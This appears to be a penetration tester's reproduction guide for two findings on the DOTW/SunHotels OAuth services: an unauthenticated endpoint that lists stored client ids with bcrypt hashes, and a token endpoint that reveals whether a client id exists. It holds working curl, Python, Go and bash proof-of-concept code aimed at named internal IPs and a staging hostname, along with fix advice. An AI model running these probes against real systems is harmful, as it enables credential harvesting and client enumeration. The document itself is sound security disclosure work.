

Reproduction steps DOTW / SunHotels OAuth engagement

August 21, 2026

Reproduction steps — DOTW / SunHotels

OAuth engagement

Two Medium findings, both reproducible in under a minute. Copy-paste the commands. Low/Informational findings are in the full reports, not here.

Both findings are the same across DOTW and SunHotels because both platforms share one credential store (`wb-security-api`) and one token service (`ssoid`).

V1 — Unauthenticated credential dump on :8901 (Medium)

What's wrong: the internal credential API has five routes. Four gate the caller with `WithAllFuncGated(...)`. One does not: `GET /apicredentials/list/all` uses `WithAllFunc` (no gate) and its SQL has no `app` filter, so an unauthenticated request returns **every** stored credential — `client_id` + `bcrypt` hash — for both platforms at once.

Where — the route (`wb-security-api/pkg/server/server.go#L104`):

```
s.Mux.Handle("POST /apicredentials/setup",
credentialsMiddlewares.WithAllFuncGated(s.requireCredentialsApp, s.credentialSetupHandler))
s.Mux.Handle("POST /apicredentials/add",
credentialsMiddlewares.WithAllFuncGated(s.requireCredentialsApp, s.credentialAddHandler))
s.Mux.Handle("POST /apicredentials/list/byuserapp",
credentialsMiddlewares.WithAllFuncGated(s.requireCredentialsApp, s.listUserAppCredentialsHandler))
s.Mux.Handle("GET /apicredentials/list/all",
credentialsMiddlewares.WithAllFunc(s.listAllCredentialsHandler)) // <-- no gate
s.Mux.Handle("POST /apicredentials/revoke",
credentialsMiddlewares.WithAllFuncGated(s.requireCredentialsApp, s.revokeCredentialHandler))
```

Where — the query (`.../postgres/postgres.go#L139`) — NO WHERE `app = ...`, so it returns rows for every platform:

```
func (s *Storage) ListAllEnabled() ([]credentials.CredentialForSSOID, error) {
    activeRows, err := s.db.Query(
        `SELECT "user", app, uuid, hash FROM credential WHERE deleted IS NULL`)
```

Reproduce (curl)

1. **Connect Twingate** (the Platform-Engineering resource that reaches the PE VPC `10.69.0.0/16`).
2. Run — note there is **no Authorization header**:

```
curl -s -o /dev/null -w '%{http_code}\n' http://10.69.11.125:8901/apicredentials/list/all
curl -s http://10.69.11.125:8901/apicredentials/list/all | jq 'length'
```

3. **Exploit confirmed** when line 1 prints `200` and line 2 prints a record count (`13` in staging). The body is a JSON array of `{app, user, id (client_id), hash (bcrypt)}` — unauthenticated. The second NLB IP `10.69.12.56:8901` behaves identically.

Reproduce (Python – counts only, does not print secrets)

```
import json, urllib.request
u = "http://10.69.11.125:8901/apicredentials/list/all" # no auth header
d = json.load(urllib.request.urlopen(u)) # 401 would raise here; reaching this line = 200
print("records:", len(d), "| apps:", sorted({r["app"] for r in d}), "| fields:", sorted(d[0]))
# records: 13 | apps: ['dotw', 'dotw-pos-stage', 'dotw-stage', 'sh'] | fields: ['app', 'hash', 'id', 'user']
```

Reproduce (Go)

```
package main
import ("fmt"; "io"; "net/http")
func main() {
    r, _ := http.Get("http://10.69.11.125:8901/apicredentials/list/all") // no auth
    defer r.Body.Close()
    b, _ := io.ReadAll(r.Body)
    fmt.Println("status:", r.StatusCode, "bytes:", len(b)) // 200 + non-empty = unauthenticated dump
}
```

Reachability: only from the PE-scoped Twingate resource (or an ssoid/kicker/lambda service host). Not from the internet, not from the broad stage VPC. That is why it is Medium, not Critical – and why it becomes Critical the moment that Twingate resource is granted more widely.

Fix: gate `list/all` with `WithAllFuncGated(...)` like its four siblings, and add real service-to-service auth on `:8901` so “loopback-only” is enforced, not assumed.

V2 – Unauthenticated OAuth client-enumeration oracle on `/oauth2/token` (Medium)

What’s wrong: the token endpoint looks up the client by id **before** it checks the assertion signature, so a request with a deliberately bogus signature still reveals whether a `client_id` exists: a **registered** id returns `400 invalid_request` (285-byte body), an **unknown** id returns `401 invalid_client` (174-byte body). No credentials, no valid signature needed.

Where (`ssoid/internal/storage/client.go#L88`) – the lookup succeeds or fails on the id alone, and that outcome is observable in the response before any signature is verified:

```
func (cs *ClientStore) GetClient(_ context.Context, id string) (fosite.Client, error) {
    for _, c := range cs.confClients {
        if id == c.GetID() {
            return &c, nil
        }
    }
    // ... falls through to a "client not found" error only when no id matches
}
```

Reproduce (curl) – no VPN, public endpoint

1. Paste this block (builds a bogus-signature RFC 7523 assertion, then asks about two ids):

```

b64() { openssl base64 -A | tr '+/' '-_' | tr -d '='; }
assert() {
  h=$(printf '{"alg":"RS256","typ":"JWT"}' | b64)
  p=$(printf '{"iss":"%s","sub":"%s","aud":"%s","exp":4102444800,"iat":1700000000,"jti":"poc"}' "$1"
"$2" | b64)
  printf '%s.%s.AAAA' "$h" "$p" # ".AAAA" = a junk signature; it is never checked
}
URL=https://accounts-pos-oauth.stage.aws.dotw.com/oauth2/token
for cid in sh-pos definitely-not-a-real-client; do
  code=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$URL" \
    -d grant_type=client_credentials \
    -d client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer \
    --data-urlencode "client_assertion=$(assert "$cid" "$URL)")
  echo "$cid -> $code"
done

```

2. **Exploit confirmed** when the output is:

```

sh-pos -> 400 # registered: invalid_request (client resolved)
definitely-not-a-real-client -> 401 # unknown: invalid_client (no client)

```

The status differs on the id alone – that difference is the oracle.

Reproduce (Python – enumerate a wordlist)

Full sweep + both channels: `authctx-3pentests/sunhotels-private-public/scripts/oracle-enumerate.py`. Minimal core:

```

import base64, json, time, urllib.parse, urllib.request, urllib.error
URL = "https://accounts-pos-oauth.stage.aws.dotw.com/oauth2/token"
def b64(o): return base64.urlsafe_b64encode(json.dumps(o).encode()).rstrip(b"=").decode()
def assertion(cid):
  h = b64({"alg": "RS256", "typ": "JWT"})
  p = b64({"iss": cid, "sub": cid, "aud": URL, "exp": 4102444800, "iat": 1700000000, "jti": "poc"})
  return f"{h}.{p}.AAAA" # bogus signature, never verified
def probe(cid):
  data = urllib.parse.urlencode({
    "grant_type": "client_credentials",
    "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
    "client_assertion": assertion(cid)})
  try: return urllib.request.urlopen(urllib.request.Request(URL, data=data)).status
  except urllib.error.HTTPError as e: return e.code
for cid in ["sh-pos", "dotw-pos", "admin", "webbeds", "sunhotels"]:
  print(cid, "->", "REGISTERED" if probe(cid) == 400 else "absent"); time.sleep(0.7)
# sh-pos -> REGISTERED ; the rest -> absent

```

Honest ceiling (why Medium, not Critical): this only confirms ids you can *guess or already hold* – it is a membership test, not a data-extraction bug. The registry is keyed by random UUIDs (e.g. the DOTW client is `01a014ec-...`, and the guessable name `dotw-pos` returns `401`), which cannot be brute-forced, so the full registry cannot be dumped this way. It is worth fixing because it confirms which client applications exist and pairs with V1.

Fix: return an identical error whether or not the client exists (resolve and verify the signature before branching the response), so store-hit and store-miss are indistinguishable.